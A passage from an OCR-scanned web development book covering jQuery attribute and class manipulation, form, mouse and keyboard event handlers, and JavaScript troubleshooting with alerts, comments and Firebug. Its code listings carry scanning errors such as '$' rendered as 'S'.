milliseconds, so 2 seconds is 2000 milliseconds.

Listing 3-10 shows the new code.

Listing 3-10: Delaying the Image Change

<!doctype html>

<html>

<head>

<title>jQuery</title>

<script type="text/javascript"
src="http://ajax.aspnetcdn.com/ajax/jQuery/jquery-
1.8.1.min.Jjs">

</script>

</head>

<body>

<hl>Attributes</hl>

<img alt="square" id="theImage" src="square.jpg" />
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<script type="text/javascript">

function changeImage() {
$("#theImage") .attr("src", "heart.jpg") ;
S ("#theImage") .attr("alt", "heart") ;

}

$ (document) .ready (function () {
setTimeout (changeImage, 2000) ;

Il

</script>

</body>

</html>
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This code builds a function called changeImage (). Inside of that function is
the same line of jQuery that you had in the preceding example (Listing 3-9).
Inside of the ready () function, there’s now a call to setTimeout with the
two function arguments we already mentioned, the changeImage function,

and 2000, for a delay of 2 seconds.

When you view this in a browser, you first receive a page like that in Figure

3-6 and then, two seconds later, receive a page like Figure 3-7.

Changing CSS

You can also change the styling information on a page, either by setting the
styles directly or by changing the CSS class applied to an element. Class
is just another attribute on an element, so changing CSS means using the

attr () function again.

Adding a class

Listing 3-11 contains basic HTML with some styling information in the

<head> section.

Listing 3-11: HTML with CSS

<!doctype html>

<html>

<head>

<title>jQuery</title>

<script type="text/javascript"
src="http://ajax.aspnetcdn.com/ajax/jQuery/jquery-
1.8.1.min.js">

</script>

<style type="text/css">

.borderClass {
border: 3px solid black;

}

Book IlI
Chapter 3
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</style>

</head>

<body>

<hl>Styles</hl>

<img alt="heart" id="theImage" src="heart.jpg" />
</body>

</html>

When you view the page in a browser, you end up with a page like that from
Figure 3-7, with a simple heart image on the page. However, by adding a call
to the attr () function to add the borderClass defined on the page, you
end up with code like that in Listing 3-12.

Listing 3-12. Adding a Class Using attr().

<!doctype html>
<html>
<head>
<title>jQuery</title>
<script type="text/javascript"
src="http://ajax.aspnetcdn.com/ajax/jQuery/jquery-
1.8.1.min.js">
</script>
<style type="text/css">
.borderClass {
border: 3px solid black;
}
</style>
</head>
<body>
<hl>Styles</hl>
<img alt="heart" id="theImage" src="heart.jpg" />
<script type="text/javascript">
$ (document) .ready (function () {
S ("#theImage") .attr("class", "borderClass") ;
}) i
</script>
</body>
</html>

The code simply calls attr () to change the class attribute to borderClass.
In this case, there actually isn’t a class attribute on the element yet, so
jQuery is smart enough to just add one for you. The result ends up like
Figure 3-8.



Figure 3-8:
Adding
aclass
through
the attr()
function.
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But what to do if there’s already a class on the element? You could first
retrieve the classes using attr and then append another one. Or you
could use the jQuery function for adding a class, called addClass (). The
addClass () function doesn’t interfere with any other classes that are
already applied to an element; it just adds another class to it.

Making the change to the code from Listing 3-12 is as simple as changing the
line:

$("#theImage") .attr("class", "borderClass") ;
to:
S ("#theImage") .addClass ("borderClass") ;

With that simple change, the class borderClass will be added and you
don’t have to worry about removing other classes that are applied to the
element.

Removing a class

A companion to the addclass () function, called removeClass, takes the
class away from an element. Like addClass (), removeClass () doesn’t
affect other classes that are on the element; it removes only the specified
class.

Book IlI
Chapter 3
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The syntax for removeClass is like the addClass syntax:
S ("#theImage") .removeClass ("borderClass") ;

In the next chapter, you see another related function called toggleClass
that adds or removes the class, depending on whether it’s already applied to

an element.



Chapter 4: Reacting to Events
with JavaScript and jOuery

In This Chapter

+ Understanding events
v Using JavaScript with forms
+ Responding to mouse clicks and hovering

v+~ Counting characters and disabling a form field

Events are things that happen. For example, the sun rising is an event.
The sun setting is an event. You can choose to react to those events.
For example, when the sun rises, you might get out of bed — or you might
not. When the sun sets, you might turn on a light or might go to bed.

When it comes to web programming, events are the things that happen in a
web page. For example, a user might move the mouse over a button, click a
button, or submit a form. Like the example of the sun rising, you can choose
to react to the event or you can ignore it. If all you wanted to do was ignore
events, then this would be a really, really short chapter. But you probably
want to react to events, and we show you how to do so for some common
scenarios.

Understanding Events

In general, there are four types of events that you’ll be concerned about:

4+ Form events: Includes things like selecting a check box or submitting
the form itself. Reacting to form events is one of the most common
things that JavaScript programmers do.

4 Mouse events: This can be anything from a mouse click to mouse
movements on the page. That’s right; you can actually track where the
mouse is on a page and react to it.

4+ Keyboard events: Things that happen through the keyboard, like a key
press, are considered keyboard events.

4+ Page events: Things like the page loading or unloading are considered
page events. You'll be happy to know that you've already been reacting
to the page load event through the jQuery ready () function.
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Speaking of jQuery, this chapter concentrates largely on using jQuery for
working with events. Using jQuery saves a lot of compatibility headaches
that come into play when you start trying to make your JavaScript code
work across browsers.

Working with Forms

Previous chapters of the book show a form being created and styling that
form with CSS. Now it’s time to learn how to work with that form using
JavaScript. A frequent way to use JavaScript with forms is to provide
validation of the form as users fill it out or before it gets submitted to the
server.

Adding a Submit Handler

jQuery includes a function that automatically watches for a form to be
submitted.

Listing 4-1 shows HTML for a form used earlier in the book. We've taken the
liberty of adding jQuery to the <head> section of the form.

Listing 4-1: A Simple Form

<!doctype html>
<html>
<head>
<title>A Basic Form</title>
<script type="text/javascript"
src="http://ajax.aspnetcdn.com/ajax/jQuery/jquery-
1.8.1.min.js">
</script>
<style type="text/css">
.form-field {
clear: both;
padding: 10px;
width: 350px;
}
.form-field label {
float: left;
width: 150px;
text-align: right;
}
.form-field input {
float: right;
width: 150px;
text-align: left;
}
#submit {



Figure 4-1:
A basic web
form.
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text-align: center;
}
</style>
</head>
<body>
<hl>A Basic Form</hl>
<hr>
<form action="#">
<fieldset>
<legend>Form Information</legend>
<div class="form-field">
<label for="username">Name:</label>
<input type="text" id="username"
name="username" >
</div>
<div class="form-field">
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<label for="email">E-mail Address:</label>

<input type="text" id="username"
name="email">
</div>
<div class="form-field">
<input id="submit" type="submit"
name="submit" value="Send Form">
</div>
</fieldset>
</form>
</body>
</html>

A page viewed in a browser looks like that in Figure 4-1.

[ NsNs) A Basic Form

A
| 4
()R] (A & tocathost/~suetringiao 77~ | (@M - Google QMR [i#2l:]

A Basic Form

Form Information
Name:

E-mail Address:

Send Form
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Right now, when you click Send Form nothing happens. Change that by
following these steps.

1. Open your text editor.
2. In the editor, place the following code:

<!doctype html>
<html>
<head>
<title>A Basic Form</title>
<script type="text/javascript"
src="http://ajax.aspnetcdn.com/ajax/jQuery/jquery-
1.8.1.min.js">
</script>
<style type="text/css">
.form-field {
clear: both;
padding: 10px;
width: 350px;
}
.form-field label {
float: left;
width: 150px;
text-align: right;
}
.form-field input {
float: right;
width: 150px;
text-align: left;
}
#submit {
text-align: center;
}
</style>
</head>
<body>
<hl>A Basic Form</hl>
<hr>
<form action="#">
<fieldset>
<legend>Form Information</legend>
<div class="form-field">
<label for="username">Name:</label>
<input type="text" id="username"
name="username">
</div>
<div class="form-field">
<label for="email">E-mail Address:</
label>
<input type="text" id="username"
name="email">
</div>



Figure 4-2:
This alert
confirms
that the
inputis
submitted.
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<div class="form-field">
<input id="submit" type="submit"
name="submit" value="Send Form">

</div>
</fieldset>
</form>
</body>
</html>

Save the form as forml.html in your document root.
View the page in a web browser at http://localhost/forml.html.

You should see a page like the one in Figure 4-1.

Now add the following code, just after the closing </form> tag and
before the closing </body> tag.

<script type="text/javascript">
S (document) .ready (function() {
S("form") .submit (function() {
alert ("You submitted the form");
return false;
1)
Il

</script>

Save the file, again as forml.html.

View the page in a browser; you can also reload the page with Ctrl+R
or Command+R if you left it open from a previous step.

Click Send Form.

You should receive an alert like the one shown in Figure 4-2.

You submitted the form

oK

You've added a submit event handler. Look at the code.

$ (document) .ready (function() {

S("form") .submit (function() {
alert ("You submitted the form");
return false;

1)

Book IlI
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The code begins with the ready () function, which you’ve seen before. Next
up, you select the form by selecting all <form> elements on the page. If
there was more than one form you’d likely want to give the form a name or
ID so that you could select the right one, but for this example, simply
selecting by element works.

Next up, the submit () function is called and another function is created
within it. The function’s main task is to display an alert, which you saw.

The second line within the function, return false, is interesting for
forms. When you use return false in a form submit event, you essentially
prevent the form from submitting to the server. Therefore, you’'d only want
to do this for specific reasons, like when the form isn’t valid such as when
the user hasn'’t filled out all the required fields.

When you add return false, you're preventing the default action.
Because the default action of the form is to submit to the server, adding
return false prevents that default action from occurring. Another way to
prevent the default action is with the jQuery preventDefault () function.
You use preventDefault in certain circumstances where return false
doesn’t do what you want. Changing the JavaScript from the preceding
example to use both preventDefault and return false looks like this:

$ (document) .ready (function() {
S("form") .submit (function(event) {
alert ("You submitted the form");
event .preventDefault () ;
return false;

1)

Checking for blank fields

Though we include an entire chapter on validation (Book VI, Chapter 2),
here we provide a sneak peek at validating a form, at least checking for blank
fields. Consider the form from earlier in the chapter and shown in Figure 4-1.
Say that the Name field was required; that means the user needs to fill
something out in order for the form to be sent to the server.

You can change the JavaScript to make sure that the field has been filled in.
Recall that the ID of the Name field is "username". jQuery can select that
pretty easily, and then it’s a matter of getting the value for the field. For that,
you can use jQuery’s val () function. Finally, all you need to do is put the
whole thing in an if statement to make sure the value isn’t empty.
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The code looks like this:

$ (document) .ready (function() {
S("form") .submit (function(event) {
if ($("#username").val() == "") {
alert ("Name can't be blank");
event .preventDefault () ;
return false;

1)
)

You can try this out by replacing the JavaScript from the earlier example
with that code. If you attempt to submit the form without filling anything out
in the Name field, you’ll receive an alert like the one in Figure 4-3.

Figure 4-3:
Basic
validation
on a form. =

Usemname can't be blank

Book I
This form validation is very basic. For instance, you could just place a single Chapter 4
empty space in that field and it would be valid. In Book VI, you see much
more about JavaScript validation and server-side validation too.
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Monitoring Mouse Events

You can watch for and react to mouse events with JavaScript. This section
looks at how to do both.

Capturing mouse clicks

A common thing to do is capture mouse click events with JavaScript. For
example, when a person clicks on an image or clicks a form element, you can
react to it to load a different image or select other form elements.

Imagine you've set up a car shop where people can get their cars customized
with a few upgrades. You specialize in adding fog lights, leather trim, and
DVD players. People can come to your website and choose a trim level.
Figure 4-4 shows a sample page for where users select their options.
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Figure 4-4:
Choosing a
trim level.

800 A Basic Form
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A Basic Form

Car Trim and Package Information
Package:
Plain [©]
Deluxe o
Custom
Extra Options:
Fog Lights =]
Leather ]
DVD o]

Send Form

If people choose the Deluxe package, the form should check all the Extra
Options check boxes. If people choose the Plain package, all the options
should uncheck. Finally, if people choose an individual option in the Extra
Options list, then the Custom package should be checked. This can all be
accomplished with a few lines of JavaScript and jQuery.

Listing 4-2 shows the HTML, CSS, and JavaScript to create the desired behavior.

Listing 4-2: Creating a Custom Form

<!doctype html>
<html>
<head>
<title>A Basic Form</title>
<script type="text/javascript"
src="http://ajax.aspnetcdn.com/ajax/jQuery/jquery-
1.8.1.min.js">
</script>
<style type="text/css">
.form-field {
clear: both;
padding: 10px;
width: 350px;
}
.form-field label {
float: left;
width: 150px;
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text-align: right;
}
.form-field input {
float: right;
width: 150px;
text-align: left;
}
#submit {
text-align: center;
}
</style>
</head>
<body>
<hl>A Basic Form</hl>
<hr>
<form action="#">
<fieldset>
<legend>Car Trim and Package Information</legend>
<div class="form-field">
<div>Package: </div>
<input id="plain" type="radio" name="trim"
value="plain">
<label for="plain">Plain</label>
<input id="deluxe" type="radio" name="trim"
value="deluxe">
<label for="deluxe">Deluxe</label>
<input id="custom" type="radio" name="trim"
value="custom">
<label for="custom">Custom</label>
</div>
<div class="form-field">
<div>Extra Options:</div>
<input type="checkbox" id="foglights"
name="option"
value="foglights">
<label for="foglights">Fog Lights</label>

<input type="checkbox" id="leather" name="option"

value="leather">
<label for="leather">Leather</label>
<input type="checkbox" id="dvd" name="option"
value="dvd">
<label for="dvd">DVD</label>
</div>
<div class="form-field">
<input id="submit" type="submit"
name="submit" value="Send Form">
</div>
</fieldset>
</form>
<script type="text/javascript">
$ (document) .ready (function() {
S ("input[name='trim']").click(function (event) {
if ($(this).val() == "deluxe") {
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S ("input [name='option']") .attr ("checked", true) ;
} else if ($(this).val() == "plain") {
S ("input [name='option']") .attr ("checked", false) ;
}
1)
S ("input [name='option']") .click(function(event) {

S ("#custom") .attr ("checked", "checked") ;
Y
}) i
</script>
</body>
</html>

Notice that the Cascading Style Sheet (CSS) is the same from that of Listing
4-1. The HTML is straightforward, insofar as it sets up the form that you see
in Figure 4-4. The JavaScript is where things get interesting. The first thing
the JavaScript does is put everything into the ready () function. You've
seen that numerous times already; no need for further explanation there.

The second thing in the JavaScript is a selector that is attached to the
click () event. This selector is a bit more complex than those you’'ve seen
previously:

S ("input [name='trim']")

That selector looks for all <input> elements on the page but then uses a
filter to obtain only those input elements that have the name of "trim".

In this case, those elements correspond to the radio buttons on the form.
Notice here the use of two different quotation marks. The overall selector is
enclosed in double-quotes while the word trim is enclosed in single quotes.
You do this because otherwise jQuery would get quite confused and think
you meant to close the selector.

The selector is chained to the c1ick () function that handles click events.
Within the click () function, the value of the item that was clicked is
examined:

if ($(this).val() == "deluxe") ({

That’s done through the $ (this) selector and the val () function. If that
value is "deluxe", then all the check boxes are checked with this line:

$ ("input [name="'option']") .attr ("checked", true) ;
That line again uses a selector and filter, but this time gets all the check

boxes with the name "option". The selected check boxes are then
checked, thanks to the attr () function that the preceding chapter explains.
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An else if isthen used to see if the Plain radio button was selected:
else if ($(this).val() == "plain") {

If that radio button is selected, then the ‘option' check boxes are
unchecked.

$ ("input [name="'option']") .attr ("checked", false) ;

After that click event handler is closed, another one is created. This time,
the handler is connected to the check boxes:

$ ("input [name="'option']") .click(function (event) {

If someone clicks on one of the check boxes, whether to check it or uncheck
it, you need to enable the “Custom” radio button. That’s accomplished with
this line:

S ("#custom") .attr ("checked", "checked") ;

You can try this out with the code from Listing 4-2. When you select Deluxe,
the check boxes will automatically check and if you select Plain, they’ll
uncheck. Clicking any of the check boxes individually results in the Custom
radio button becoming selected.

While this example shows how to work with forms and the click event, you
can actually attach a click event handler to any element on the page. See
http://api.jquery.com/click for more information on the click event
handler in jQuery.

Watching mouse movements

There are several interesting items surrounding the movement of the mouse
or pointing device. For instance, you can change an element when the mouse
hovers over it or when the mouse leaves the element. This section shows

a hover event handler, which handles both the hover over and when the
mouse leaves the element.

You can emulate the hover event handler through CSS although support for
the CSS :hover pseudoclass is not available on older browsers.

Listing 4-3 shows the HTML for this example.

Book IlI
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Figure 4-5:
HTML for a
hover effect.

Listing 4-3: Creating Three Boxes in HTML

<!doctype html>
<html>
<head>
<title>Hover</title>
<script type="text/javascript"
src="http://ajax.aspnetcdn.com/ajax/jQuery/jquery-
1.8.1.min.js">
</script>
<style type="text/css">
.box {
margin: 50px;
padding: 30px;
width: 50px;
border: 3px solid black;
}
.colorBox {
background-color: #abacab;
}
</style>
</head>
<body>
<hl>Hover</hl>
<hr>
<br />
<br />
<br />
<span class="box">Box 1</span>
<span class="box">Box 2</span>
<span class="box">Box 3</span>
</body>
</html>

Pages viewed in a browser look like the one in Figure 4-5.

800 Hover |

<> [ ] [ @ tocathost/~suehring/fd/b3c4/how ] ($9- Coogle Q)

Hover

Box 1 Box 2 Box 3
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For the hover effect, you add JavaScript to make it so that when a box is
hovered over with the mouse, the background color changes.

To create this effect, the following JavaScript is employed within the page, at
its usual location just above the closing </body> tag.

<script type="text/javascript">
$ (document) .ready (function() {
S(".box") .hover (
//Hover over
function() {
$(this) .addClass ("colorBox") ;
.,
//Hover out
function() {
$(this) .removeClass ("colorBox") ;
}
)
)i

This code places everything in the jQuery ready () function, as usual. Next,
all items with a class of "box" are selected and the hover () function is
chained to them:

$S(".box") .hover (

The hover () function takes two arguments: what to do when the hover is
in effect and what to do when the hover is done. So each of those functions
is created. The first one adds a class called "colorBox", which merely
changes the background color to a shade of gray; the CSS for that was in
Listing 4-3. The second function, applied when the mouse moves out of the
selected element, removes the class "colorBox", as shown here.

//Hover over
function() {
$(this) .addClass ("colorBox") ;
.,
//Hover out
function() {
$(this) .removeClass ("colorBox") ;
}
)

The result, with the mouse hovering over the element labeled Box 2, is
shown in Figure 4-6. The box turns gray (#abacab).
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Figure 4-6:
Hovering
over an
element.

800 Hover "

@ [ ] [ @ rocathost/~suehring/fd/b3c4/how ] (3~ Google Q) (=1

Hover

Box 1 Box 2 Box 3

Reacting to Keyboard Events

Just as you can react to mouse events, so too can you react to keyboard
events. Things like watching when a certain key is pressed, or more
generically, just counting the number of times the keys are pressed, can all
be done with JavaScript. This section looks at two examples of JavaScript to
react to keyboard events.

Counting characters

If you've used Twitter, you've seen an example of a textbox that counts
down while you type. Many contact forms also include similar functions,
where you can type your message only up to a certain number of characters.

Listing 4-4 shows some example HTML for creating a small text box, called a
text area in HTML parlance.

Listing 4-4: Creating an HTML textarea

<!doctype html>

<html>

<head>

<title>Hover</title>

<script type="text/javascript"
src="http://ajax.aspnetcdn.com/ajax/jQuery/jquery-
1.8.1.min.js">

</script>

</head>

<body>

<hl>Keyup</hl>

<hr>

<form action="#">

<textarea rows="10" cols="20" id="message" name="message">

</textarea>



Figure 4-7:
A small text
area for
input.
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<p>Characters remaining: <span id="remaining">50</span></p>
</form>
</body>
</html>

Pages viewed in a browser look like Figure 4-7.

Hover

¥ | | @ localhost/~suehring/fd/b3c4/chal C | (3~ Google Q) B =

Keyup

Characters remaining: 50

Adding JavaScript to count characters looks like this:

<script type="text/javascript">

S (document) .ready (function () {
var maxCharacters = 50;
S ("#message") .on("keyup", function() {
var currentVal = $("#message").val().length;
var totalRemaining = maxCharacters - currentVal;

$S("#remaining") .text (totalRemaining) ;

})i
)i
</script>

This JavaScript first sets a variable with the maximum number of characters
allowed, 50. Then the element with the ID of "message" is selected. A event
handler is attached to the selected element. The event handler is attached
with the on () function, which is a generic event handler. The event handlers
you've seen so far are all so common that the folks at jQuery created specific
functions to handle them. So things like submit (), click (), and hover ()
all have their own events.

However, all other events are attached using the on () function. The first
argument to the on () function is the name of the event to watch for. In
this case, you want to watch for the "keyup" event to know when a key is
pressed and then released.
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Figure 4-8:
Showing
remaining
characters.

The first thing you do once the keyup event fires is to count the number of
characters in the text field. That’s accomplished with this line of code:

var currentVal = $("#message").val().length;

Now you know the maximum characters allowed, 50, and you know the
current number of characters in the field. Next up: math.

You need to subtract the current number of characters in the variable
currentVal from the maximum allowed characters in the variable
maxCharacters. The result will be placed in a new variable called
totalRemaining.

var totalRemaining = maxCharacters - currentVal;

The last thing to do is place that value into the <span> element that shows
the characters remaining:

S ("#remaining") .text (totalRemaining) ;

Now when you type into the textarea, the number of characters remaining
counts down. Figure 4-8 shows an example.

800 Hover e

(Qrl(@)&0 ] (43- oo

Keyup

test test test

Characters remaining: 36

Now you know how they do this on Twitter! However, if you type a whole
bunch into the form you’ll notice that you can actually continue typing past
the 50 characters. The counter will go into negative numbers (see Figure 4-9).



Figure 4-9:
Entering
characters
past the
limit.
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Because you end up checking the number of characters in your PHP program
anyway, it isn’t the end of the world if a user goes past the maximum
allowed. You can also prevent users from submitting the form. We tell you
how to do those things Book VI.

Preventing character input

You can use JavaScript to disable a form field. For example, many sites use
a shipping and billing address combination whereby the user clicks a check
box to indicate that the billing address is the same as the shipping address.

Listing 4-5 shows an HTML snippet for such a page.

Listing 4-5: A Shipping Info Page

<!doctype html>

<html>

<head>

<title>Prevent</title>

<script type="text/javascript"
src="http://ajax.aspnetcdn.com/ajax/jQuery/jquery-
1.8.1.min.js">

</script>

</head>

<body>

<hl>Shopping Info</hl>

<hr>

<form action="#">

Billing Address same as Shipping Address:

<input type="checkbox" name="billingAddress"
id="billingAddress">
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<br />

<br />

Street Address:

<input class="baddr" type="text" name="street" id="street">
<br />

<br />

City:

<input class="baddr" type="text" name="city" id="city">
</form>

</body>

</html>

A page viewed in a browser looks like that in Figure 4-10.

800 Prevent o
@ ‘\,., localhost/~suehrir ] @ (*F~ Google Q)
Shopping Info

Billing Address same as Shipping Address: [

Street Address:

City:

Figure 4-10:
A snippet
for a billing
info page.

In reality, a billing info page would capture more information, like the state
and ZIP code for starters, but this gives you a bit of an idea of the type of
page you're setting up for this example.

Adding JavaScript to disable those textboxes looks like this:

S (document) .ready (function () {
S("#billingAddress") .click (function() {
if ($("#billingAddress") .attr ("checked") ==
"checked") {
S(".baddr") .val("");
$(".baddr") .attr("disabled", "disabled") ;
} else if ($("#billingAddress") .attr ("checked") ==
undefined) {
$S(".baddr") .removeAttr ("disabled") ;
}
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The code begins with the ready () function, of course. After that, a click
event handler is added to the check box. If the billingAddress check box
is checked, then the values from the form fields are cleared and those form
fields are disabled. If the billingAddress check box is unchecked, then
the disabled attribute is removed, thanks to the removeAttr () function.

Note in this example the use of classes on the text fields to be disabled.
Using classes, called "baddr" for this example, makes it easy to group them
for a jQuery selector.
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Chapter 5: Troubleshooting
JavaScript Programs

In This Chapter

v+~ Understanding basic troubleshooting techniques

v~ Installing and using Firebug

ou've made it really far in this book and you’ve created a lot of web

pages and done some programming too. Everything you’ve learned so
far has been teachable. It’s been consistently possible to show an example
and explain it. Now you’re going to get into something that doesn’t lend
itself to teaching: good troubleshooting techniques.

Sure, certain aspects of troubleshooting are teachable, and this chapter
shows and explains them. But even knowing these techniques won'’t solve
all the problems that you'll encounter. It’s still up to you to apply the
techniques here.

Employing Basic JavaScript
Troubleshooting Techniques

3

The primary technique for troubleshooting technical problems is to stop.
Stop what you’re doing and remain calm. We’ve seen countless very smart
people falter when things go wrong — and things do go wrong.

So we repeat: The best piece of advice that we can give for troubleshooting
is simply to stop and remain calm.

Once you've done that, look at the problem from different angles and reduce
it to small parts. For example, you’ll encounter problems with web pages
that you're programming. The problem could be that the page isn’t loading,
the page doesn’t look right, or something else. Consider whether the problem
is with the database, with the PHP, with the server, with the JavaScript, or
none of those — or more than one.

If you think the problem is with the JavaScript, take the JavaScript out of
the page entirely. Then slowly add it back in. Another way to troubleshoot
JavaScript is by adding the alert () function in various places. As you do
your troubleshooting, you can add comments in the code to help with your
troubleshooting efforts. Later in this chapter, we show you a plug-in for
Firefox that helps immensely when it comes to troubleshooting JavaScript.
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Adding alerts

You've seen and used the alert () function throughout the book. A good
way to troubleshoot JavaScript is by using the alert () function within the
code to show the value of variables or simply to show where you are in the
code.

A common occurrence with JavaScript is that you'll have a long program and
you won't be able to quite figure out why the program isn’t getting all the
way through. Adding an alert on line 1 of the program can show you whether
or not it’s even getting called. Then adding an alert on line 50 will show if

the program is getting that far. If it isn’t, then you know that there must be a
problem somewhere between line 1 and line 50.

Adding alerts is an easy and efficient way to help in troubleshooting complex
problems. You simply add code like this:

alert ("Just executed this code!");

Alternatively, if you need to show the value of a variable named myVvariable,
you’d do this:

alert (myVariable) ;

Notice the lack of quotes around the variable name. If you put quotes around
the variable name, JavaScript will interpret that as a plain old string and so
you’ll only see the name of the variable and not its contents. You could also
get fancy and concatenate them:

alert ("The value of the variable is: " + myVariable) ;

That code would show not only friendly text, but also the value of the
variable itself.

Be mindful of using alerts in a loop structure since you need to dismiss each
one manually in the browser. Also be sure to remove any alerts prior to
releasing the code for production use on your real website. If you don’t,
website visitors will find the site really annoying.

Using comments in JavaScript

Comments help with documenting code, which can be greatly helpful when
you need to update or change the code later. You can also use comments to
help with troubleshooting.

Comments are not only useful for documenting the code, but they can also
be helpful for troubleshooting. For example, if you've identified a problematic
area of the code you can comment that part out temporarily in order to get
past the problem.
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In JavaScript, comments come in two forms.

4+ //:You can use a double slash as a single line comment.

4 /*and */: You can use the slash-asterisk format for comments that
span multiple lines.

Here’s an example of the single line comment:
// This is a single line comment.
var myVariable = 77;

In this example, the first line that begins with two slashes will be ignored
by the JavaScript interpreter but it will create and assign the variable in the
next line because that’s not commented out.

You can comment lines of code out. So in the preceding example, if you
wanted to comment out the var myVariable = 77 line, you’d simply add
two slashes in front of the line, like this:

// var myVariable = 77;

Anything that appears after the two slashes up to the end of the line is
considered a comment and ignored.

If you want to comment out multiple lines or create a multi-line comment,
you use a single slash with an asterisk to open the comment block and then
an asterisk and single slash to close the block. Anything appearing between
these will be ignored. Here’s an example.

/*

Everything within this area is a comment and will be ignored.

This includes normal lines like this and also code lines,
like:

if (myVariable = "something") {
return false;

}

*/

In that example, all the code will be ignored because it appears in a comment
block.

It’s important to note when using multi-line comments that you can’t nest
them. For example, this is invalid:

/*

Another multi-line comment

/* A comment in a comment */
Ending the comment

*/
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Once the JavaScript interpreter encounters the end */ code, it will assume
that the comment has ended and therefore won’t know what to do with the
next */ that it encounters. You can still use the double-slash construction,
like this:

/*

Another multi-line comment

// A comment within a comment
Ending the comment

*/

JavaScript can be seen by everyone viewing the source of your web page, so
be careful what you display in the comments. Placing sensitive (or offensive)
information in the comments of the code can get you in trouble!

Identifying JavaScript Problems with Firebug

3

3

Alerts and comments work well as troubleshooting tools in JavaScript.
However, an indispensable tool for the JavaScript programmer is a tool
called Firebug, which is an add-on to the Firefox web browser. It contains
advanced JavaScript debugging tools as well as several other tools related
to web development. Firebug identifies problems with JavaScript code as it
executes and helps to quickly find solutions.

This section looks at how to install Firebug and then how to use it. We
assume that you have Firefox already installed. If you don’t, go get it at www.
mozilla.org before you continue with the next section.

Firebug isn’t the only tool that can be used for debugging. Internet Explorer
has a tool called F12 Developer Tools, and Chrome has its own set of developer
tools too. However, Firebug is quite robust and easy to use, so that’s what
we cover here.

Installing Firebug

You install Firebug as an add-on for Firefox. Installation is straightforward
but does require restarting Firefox afterwards. Follow this procedure to
install Firebug.

Although, this procedure may change slightly by the time you read this, the
overall process is the same: Use Firefox to download and install the Firebug
add-on. However, the locations and names of links may change.


/\san\homedata\SteveDocs\Agency_And_Writing\webdevaio\tr\www.mozilla.org
/\san\homedata\SteveDocs\Agency_And_Writing\webdevaio\tr\www.mozilla.org

Figure 5-1:
The Mozilla
Add-ons
page for
Firebug.
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1. Open Firefox.
2. Navigate to http://getfirebug.com.

3. On the Firebug home page, click Install Firebug (or similar link/
button, if the verbiage changes by the time you read this).

4. On the Downloads page, click to download the recommended version
of Firebug.

This will usually be the top link for newer versions of Firefox. You
initiate the download process by clicking the Download link, which takes
you to the Add-ons page.

5. On the Mozilla Add-ons page for Firebug, shown in Figure 5-1, click
the Add to Firefox button.

Firebug will download and install.
6. In the Software Installation dialog shown in Figure 5-2, click Install Now.
7. When you are prompted to restart Firefox, click Restart Now.

Firefox will restart and you’ll be shown the Firebug home page again.

Congratulations. Firebug has been installed. Now take a spin around the
block with it.

ot Firebug s Add-ons for Firefox [o- ||
€= | i Mozilla Corporation (U) | [ |3 Googie Pl B
SRR AR ORI RS W

y ADD-ONS [

EXTENSIONS | PERSONAS | THEMES | COLLECTIONS | MORE...

!

& »Esttensions » Firebug

2. Firebug

1,403 User reviews
by Joe Hewitt, Jan Odvarke, robeee, FirsbugWerkingGroup #103

3,136,631 users

Firebug integrates with Firefox to put a wealth of development tools at your fingertips
while you browse, You can edit, debug, and moniter €55, HTML, and JavaScript live in
any web page...

Brjoy this add-on?
The developer of this add-on asks that you show your support by making a
denation to the Mozilla Feundation,

¥ Contribute

$10.00 suggested

»
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Softwvare Installation @

Install add-ons only from authors whom you trust.

Malicious software can darmage your computer or violate your privacy.

You have asked to install the following item:

Firebug jAuthar rat verifiedy

S
9“_ https://addons.mozilla.org/firefox/downloads/file/123595/firebug-1.7.3-fexpisre=dp

Figure 5-2:
Installing
the Firebug

add-on. ==

Using Firebug
When Firebug is loaded, it gets put into the toolbar in Firefox. The Firebug
icon is typically found in the upper-right corner of Firefox. See Figure 5-3

for an example of what the Firebug icon looks like; we’ve added an arrow to
point at the icon.

Figure 5-3:
The Firebug
iconin
Firefox.

Firebug

Clicking on the Firebug icon reveals the Firebug console, shown in Figure 5-4,
for whatever page you're currently on.

i ‘.‘l § @ ‘ | Console | HTMLY | €SS Scipt  DOM  MNet » [=[a]0)]
B3 | Edit \ body#firstrun < html Style | Computed Layout DOM
</DOCTYFEE himl> body { master.css (line 26)
= <html> background: arl("/fing =
# <head- /by-grad.jpg") repeat seroll
& 0 0 §EFEFEE;
*/htmls color: #33IFII;

——— font-family: "crebuchet

ns", helvetica,sans-serif;

Figure 5-4: e
The Firebug :::; reset.ess (line 6)
console. ;rn |




Figure 5-5:
The Console
Panel is
disabled by
defaultin
Firebug.
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You can click on the various tabs within the Firebug interface to see some of
the options. When debugging JavaScript, you’ll frequently use the Console
Panel. However, the Console Panel may be disabled by default, like the one
in Figure 5-5.

# | | *| console~ | HTML €55 Scipt  DOM  Net l 2068
a2 Console Panel is disabled
Use Firebug's status bar icon to enablesdizable all panels at once, Use each panel's tab menu for individual control.
consoldT)
Enable
x -

Figure 5-6:
The Net
Panelin
Firebug.

Enabling the Console Panel involves clicking the down arrow next to the
word Console and selecting Enabled. When you do so, the Console Panel will
be enabled. However, you need to reload the page in order for any errors or
other information to show up in the Console Panel. Pressing the Ctrl+R or
Command+R key combination reloads the page in Firefox.

The same process is needed to enable other panels in Firebug, such as

the Net Panel. The Net Panel shows the retrieval of elements on the page,
including all JavaScript, CSS, images, and other elements. It also shows the
response code, which can sometimes be helpful to show that a certain file
isn’t loading. The Net Panel also shows timing information so you can see
how long it took the browser to download the various page elements too.
The Net Panel is shown in Figure 5-6.

# | € = Console HTML €SS Script  DOM | Met= P = 2[S]
W | clear persat HTML €SS JS OHR Images Flash  Media
URL Status Domain Size Timeline -~
© GET firstrungFirebug%2i 200 k. getfirebug.com 4KB 531ms
® GET screen.css?v2 200 0K getfirebug.com 1988 7ams E
 GET mainds 200 0K getfirebug.com 4408 156ms
 GET jquery.min.js 904 Hot Modfied  ajaxgoodlesps.com 2.2 KB B2ms
% GET jquery.mousewheel- 200 OF qetfirsbug.com 8728 266ms
@ GET fancybox.js 200 Ok qetfirsbug.com 6.5KB 266ms
® GET reset.css 200 0K getfirebug.com 696 5 Lz
® GET master.css 200 0K getfirebug.com 5K8 L5ens
 GET bg-grad.ipg 200 0K gstfirebug.com 5178 9ams
# GET mozlla-logo.jpg 200 K getfirebug.com zaKe 93ms 1
o 5T thendnnnnnn  onncr mebhivabin nomn. fean e
0 i 0
x w2
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If you're using Firebug or the Chrome browser, you can also take advantage
of another means for troubleshooting, called console.log. Using console.log,
the results of whatever you’'re debugging are shown within the developer
tools area’s Console tab. The console.log feature is used like an alert:

console.log("hello world") ;

